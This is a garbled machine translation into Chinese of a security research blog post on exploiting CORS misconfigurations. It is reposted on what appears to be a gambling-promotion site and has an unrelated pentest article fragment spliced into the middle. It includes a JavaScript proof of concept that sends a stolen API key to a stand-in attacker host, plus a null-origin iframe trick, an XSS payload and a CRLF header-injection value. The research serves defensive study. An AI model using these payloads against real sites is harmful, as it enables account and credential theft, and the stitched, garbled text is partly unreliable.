Exploiting CORS misconfigurations for Bitcoins and bounties | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Exploiting CORS misconfigurations for Bitcoins and bounties

申博_新闻事件 申博 59次浏览 未收录 0个评论

原文地点:https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties?tdsourcetag=s_pcqq_aiomsg

在本文中,我将展现如何辨认和应用设置毛病的CORS。本文内容摘自AppSec USA大会上的演讲内容,并做了相应的提炼。假如您的时刻比较富余(或浏览本文时碰到了难以明白的内容)的话,我猛烈提议您检察相干的幻灯片并寓目相干视频

What is CORS? (Cross Origin Resource Sharing)

跨域资源共享(CORS)是如许一种手艺,网站可以经由历程它来下落浏览器的同源战略的严厉水平,从而完成差别网站之间的跨域通讯。过去,该手艺常常被Web API运用,但在当代庞杂的网站中,也常常看到它的身影。尽人皆知,某些CORS设置一旦失误,是带来严峻的效果;与此同时,与该设置相干的很多细节及其详细寄义很轻易被误会。在这篇文章中,我将为读者引见黑客如何考核CORS的设置失误,并应用这些失误来盗取比特币的。

CORS for hackers

我们晓得,网站可以经由历程发送以下所示的HTTP相应头部来启用CORS机制:

Access-Control-Allow-Origin: https://example.com

这实际上就是许可上面指定的源(域)经由历程用户的浏览器中向其他服务器发送跨域请求并读取相应——而平常状况下,同源战略会阻挠这些请求。默许状况下,发送这些请求时是不会照顾用户的cookie或其他凭证的,因而,进击者没法盗取用户的敏感信息(如CSRF令牌)。不过,服务器也可以运用以下所示的头部来启用凭证传输机制:

Access-Control-Allow-Credentials: true

这就建立了信托关联——因而,假如example.com存在XSS破绽,那末破绽的影响将会散布。

Hidden in plain sight

如上所示,在信托单个源的状况下,照样很轻易指定的。然则,假如我们须要信托多个源的话,那该怎么办呢?依据相干范例的提议,我们只需将其放人一个以空格分开的列表中即可,比方:

Access-Control-Allow-Origin: http://foo.com http://bar.net

然则,没有浏览器真正支撑这类做法。

有时刻,我们想要应用通配符来指定信托的一切子域,比方:

Access-Control-Allow-Origin: *.portswigger.net

但这也行不通。因为这里要么给出一个完整的域名,要么只给出单个通配符*——示意许可恣意域名。

实际上,CORS自身也供应了一个隐蔽的安全措施。假如您想完整禁用SOP并将自身的网站”暴露”给一切人,可以运用下面的头部组合:

Access-Control-Allow-Origin: *\
Access-Control-Allow-Credentials: true

如许的话,我们就会在浏览器掌握台中收到以下毛病音讯:

Cannot use wildcard in Access-Control-Allow-Origin when credentials flag is true.(即当凭证标志为true时,在Access-Control-Allow-Origin中不能运用通配符。)

实际上,相干范例中提到了这个异常,而且Mozilla的文档支撑也有所述及:

在相应凭证请求时,服务器必需指定域,而且不能运用通配符

换句话说,运用通配符可以有效地禁用Allow-Credentials头部。

因为这些限定,很多服务器以编程体式格局依据用户供应的Origin值来天生Access-Control-Allow-Origin头部。这是最罕见的一种CORS破绽。当我们发现HTTP相应带有任何Access-Control-*头部却未声明域的时刻,这就表明服务器将依据我们的输入来天生头部。其他服务器只需在收到包含Origin头部的请求时才会发送CORS头部,这使得相干的破绽异常轻易被脱漏。

Credentials and bitcoins

因而,很多网站都是从用户输入中取得许可跨域接见的域名的。那末,这会不会致使安全隐患呢?因而,我决议评价一些破绽赏金网站并从中寻觅答案。请注意,虽然这些网站都供应了破绽赏金设想,然则,前面提到的破绽照样被很多赏金猎人所脱漏了。我很快就复现了 Evan Johnson’s finding 的发现,即很多应用顺序在做出相应之前,并没有对源举行搜检,同时,我还找到了一个易受进击的比特币生意业务所(遗憾的是,该生意业务所不愿意公然其称号):

GET /api/requestApiKey HTTP/1.1\
Host: <redacted>\
Origin: https://fiddle.jshell.net\
Cookie: sessionid=...

HTTP/1.1 200 OK\
Access-Control-Allow-Origin: https://fiddle.jshell.net\
Access-Control-Allow-Credentials: true

{"[private API key]"}

与此同时,我还建立了一POC代码,用于证实盗取用户的私有API密钥是一件何等易如反掌的事变:

var req = new XMLHttpRequest();\
req.onload = reqListener;\
req.open('get','https://btc-exchange/api/requestApiKey',true);\
req.withCredentials = true;\
req.send();

function reqListener() {\
    location='//atttacker.net/log?key='+this.responseText;\
};

在猎取用户的API密钥后,我就可以够禁用帐户的关照功用,并启用2FA以将其锁定,如许就可以够将其比特币转移到恣意地点。由此看来,头部设置毛病是一种异常严峻的安全破绽。固然,我照样制止住了将比特币收入囊中并跑路的激动,并向该生意业务所提交了该破绽,以后,他们仅用了20分钟就修复了该破绽。

别的,关于某些网站来讲,当对源举行考证以肯定是不是应当信托它时,常常会碰到典范的URL剖析毛病。比方,有一个网站(无妨称之为advisor.com)完整信托以advisor.com末端的一切域名,包含definitelynotadvisor.com。更蹩脚的是,第二个比特币生意业务所(我们称之为btc.net)信托一切以https://btc.net开首的域名,包含https://btc.net.evil.net。不幸的是,我还没有来得及构建POC,这个网站就倏忽封闭了,至于详细缘由,我也不清晰。

The null origin

假如您对上面的内容异常体贴的话,极可以想晓得什么状况下Origin的值为null。依据相干范例的说法,重定向会触发这类状况,别的,依据stackoverflow上的某些帖子来看,当地HTML文件也可以致使这类状况。也许是因为这类状况与当地文件有关,我发现有很多的网站都将其列入了白名单,个中包含Google的PDF浏览器:

GET /reader?url=zxcvbn.pdf\
Host: docs.google.com\
Origin: null

HTTP/1.1 200 OK\
Acess-Control-Allow-Origin: null\
Access-Control-Allow-Credentials: true

别的,该题目还触及第三方比特币生意业务所。这对进击者来讲再好不过了,因为任何网站都可以经由历程沙箱化的iframe来轻松取得值为null的Obtain头部:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>*cors stuff here*</script>'></iframe>

借助于一系列的CORS请求,进击者就可以够盗取用户钱包的加密备份,然后马上睁开离线蛮力破解,就可以获得该钱包的暗码了。假如用户的暗码强度不高的话,他们的比特币就会易如反掌地被进击者收入囊中。

登陆页面渗透测试常见的几种思路与总结!

前言 我们在进行渗透测试的时候,常常会遇到许多网站站点,而有的网站仅仅是基于一个登陆接口进行处理的。尤其是在内网环境的渗透测试中,客户常常丢给你一个登陆网站页面,没有测试账号,让你自己进行渗透测试,一开始经验不足的话,可能会无从下手。今天就来简单说一下如何在只有一个登陆页面的情况下,来进行渗透测试。 0x00 在条件允许的情况下,我们可以拿在渗透测试的开始之前拿出我们的扫描器来进行扫描,目前我们最常用的就是AWVS和Nessus,除此之

越发要命的是,这类特别的毛病设置异常罕见——只需你肯找,就肯定能找到。实际上,只需选用null关键字,这就注定要出题目的,因为在某些应用顺序中,假如没有设置源白名单的话,就会致使……

Access-Control-Allow-Origin: null

这……

Breaking parsers

我们晓得,大多数网站都是经由历程基础的字符串操纵来考证Origin头部的,但有些网站却会将其剖析为URL。这项研讨最初宣布三年后,Bitwis3宣布了一种进击剖析器破绽的手艺,该手艺应用了Safari对域名中异通例字符(unusual characters)的容忍度。关于Safari来讲,这面是一个有效的URL:

http://example.com%60.hackxor.net/static/cors.html

而且,发自该URL的CORS请求将包含:

Origin: http://example.com`.hackxor.net/

假如一个站点挑选剖析这个头部,它可以会以为这个主机名是example.com并反射它,如许的话,我们就可以够进击Safari用户——纵然该站点运用的是受信托主机名的白名单。在收到Bitwis3供应的tipoff以后,我亲身在野外试用了这类手艺,现实证实它是异常有效的。

Breaking HTTPS

在这项研讨中,我还发现了别的两个盛行的白名单在完成方面存在的破绽,而且这些破绽平常都是伴生的。个中,第一个破绽是轻率地将一切子域都列入白名单而至——以至包含基础就不存在的子域。很多公司的子域名都邑指向由第三方托管的应用顺序,而这些应用顺序的安全性平常都很令人担忧。假如天真地以为这些顺序中没有XSS破绽,而且未来也不会有的话,那末,这就只能怪自身太稚子了。

第二个罕见破绽是没法限定源协定。假如一个网站是经由历程HTTPS接见的,同时还乐于接收来自http://wherever的CORS交互的话,那末进击者一旦提议主动中间人(MITM)进击,那末就可以够完整绕过该站点的HTTPS。而且,HTTP Strict Transport Security功用和cookie的secure属性在防备这类进击方面的作用险些可以疏忽不计。关于这类进击的详细历程,请参阅我的演讲文稿。

Abusing CORS without credentials

我们已看到,启用凭证后,CORS将变得异常风险。假如没有凭证,很多进击将黔驴技穷;这意味着,没法运用用户的cookie,如许的话,让用户的浏览器发送请求,与自身发送请求一样,基础没法取得更多的上风。纵然是令牌牢固进击也是行不通的,因为浏览器会疏忽对cookie举行的任何重设。

一个值得注意的破例是,当受害者的收集位置作为一种身份考证的时刻。这类状况下,您可以运用受害者的浏览器作为代办来绕过基于IP的身份考证,进而得以接见Intranet应用顺序。就伤害水平来讲,这类破绽与DNS从新绑定相似,但要进击历程要越发费力一些。

Vary: origin

假如您仔细浏览CORS范例中的“完成方面的注意事项”部份就会发现,它请求开发人员在动态天生Access-Control-Allow-Origin头部时,同时指定HTTP头部Vary: Origin

这听起来可以很简单,然则很多人都忘了下面这句触及W3C自身的名言:

我必需说,纵然W3C都没能准确设置其服务器,所以,我很难置信会有更多网站敏捷支撑CORS。

  • Reto Gmür

假如我们无视这个忠言,效果会如何呢?大多数状况下,人们就是如许做的。然则,在恰当的状况下,它可以致使一些相当严峻的进击。

Client-Side cache poisoning

有时刻,我们会碰到含有反射型XSS破绽的页面,而且该破绽位于自定义HTTP头部中。假定该网页并没有对相应当自定义头部的内容举行编码:

GET / HTTP/1.1\
Host: example.com\
X-User-id: <svg/onload=alert(1)>

HTTP/1.1 200 OK\
Access-Control-Allow-Origin: *\
Access-Control-Allow-Headers: X-User-id\
Content-Type: text/html\
...\
Invalid user: <svg/onload=alert(1)>

假如不借助CORS的话,该破绽是没法应用的,因为没有办法让或人的浏览器跨域发送X-User-id头部。运用CORS后,我们就可以够让他们发送这类请求。固然,就其自身来讲,这是无用的,因为包含我们注入的JavaScript代码的相应是不会被显现的。然则,假如未指定Vary:Origin的话,那末,该相应可以存储到浏览器的缓存中,并在浏览器导航到相干的URL时马上显现。我已建立了一个fiddle,用来演示针对您挑选的URL举行进击。因为这类进击运用了客户端缓存,因而,它异常牢靠。

Server-side cache poisoning

当万事俱备的时刻,我们就可以经由历程HTTP头部注入手艺,应用服务器端缓存中毒来建立存储型XSS破绽了。

假如应用顺序会相应Origin头部,而且不搜检它是不是为\r之类的不法字符的话,那末,我们实际上就取得了一个针对IE/Edge浏览器用户的HTTP头部注入破绽,因为Internet Explorer和Edge浏览器会将\r\n(0x0d)视为有效的HTTP头部终止符:

GET / HTTP/1.1\
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7`

Internet Explorer将该相应视为: 

`HTTP/1.1 200 OK\
Access-Control-Allow-Origin: z\
Content-Type: text/html; charset=UTF-7

不过,这个破绽是没法直接应用的,因为进击者没法让或人的收集浏览器发送这类畸形的头部;然则,我们可以应用Burp Suite手动组织这类请求,然后,服务器端缓存极可以会保留相应的相应,并将其供应给其他人。我们运用的payload会将页面的字符集改成UTF-7,这一招对组织XSS破绽来讲异常有效。

Good intentions and bad results

最初,我并没想到动态天生Access-Control-Allow-Origin头部的网站的数目是云云之多。之所以涌现这类状况,多是CORS的两个重要限定而至——既不许可在单个头部中指定多个域,也不许可运用通配符指定子域。这使得很多开发人员别无挑选,只能动态天生相应的头部,如许一来,就不得不面临以上议论的种种完成方面轻易涌现的破绽了。在我看来,假如范例得作者和浏览器许可运用源列表和部份通配符的话,动态头部天生和相干破绽的数目将会直线下落。

浏览器的另一个可革新的处所在于,无妨将通配符+凭证异常应用于域为null的情况。现在,运用null的域的风险性要远甚于运用通配符的域,只管很多人会对此觉得异常惊奇,然则现实确实云云。

其他浏览器也可以尝试阻挠我发现的“反向混合内容”进击——HTTP站点运用CORS从HTTPS站点盗取数据。不过,我还不是很清晰这会形成什么样的效果。

简单性和安全性原本是可以相辅相成的,然则,因为浏览器不支撑声明多个域,从而将庞杂性直接转移到了开发人员那边,从而带来了严峻的恶果。我以为,这重要归咎于范例的设想以及完成的难度方面。

Conclusion

CORS是一种功用强大手艺,运用时须要分外郑重,因为,风险的进击要领并不老是须要精深的妙技和扑朔迷离的进击链——平常状况下,只须要对范例有基础的相识和一点点的专注就足够了。假如您想图省劲的话,这里告诉您一个好音讯,现在Burp Suite的扫描器已可以辨认并报告文中议论的一切缺点了。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Exploiting CORS misconfigurations for Bitcoins and bounties
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址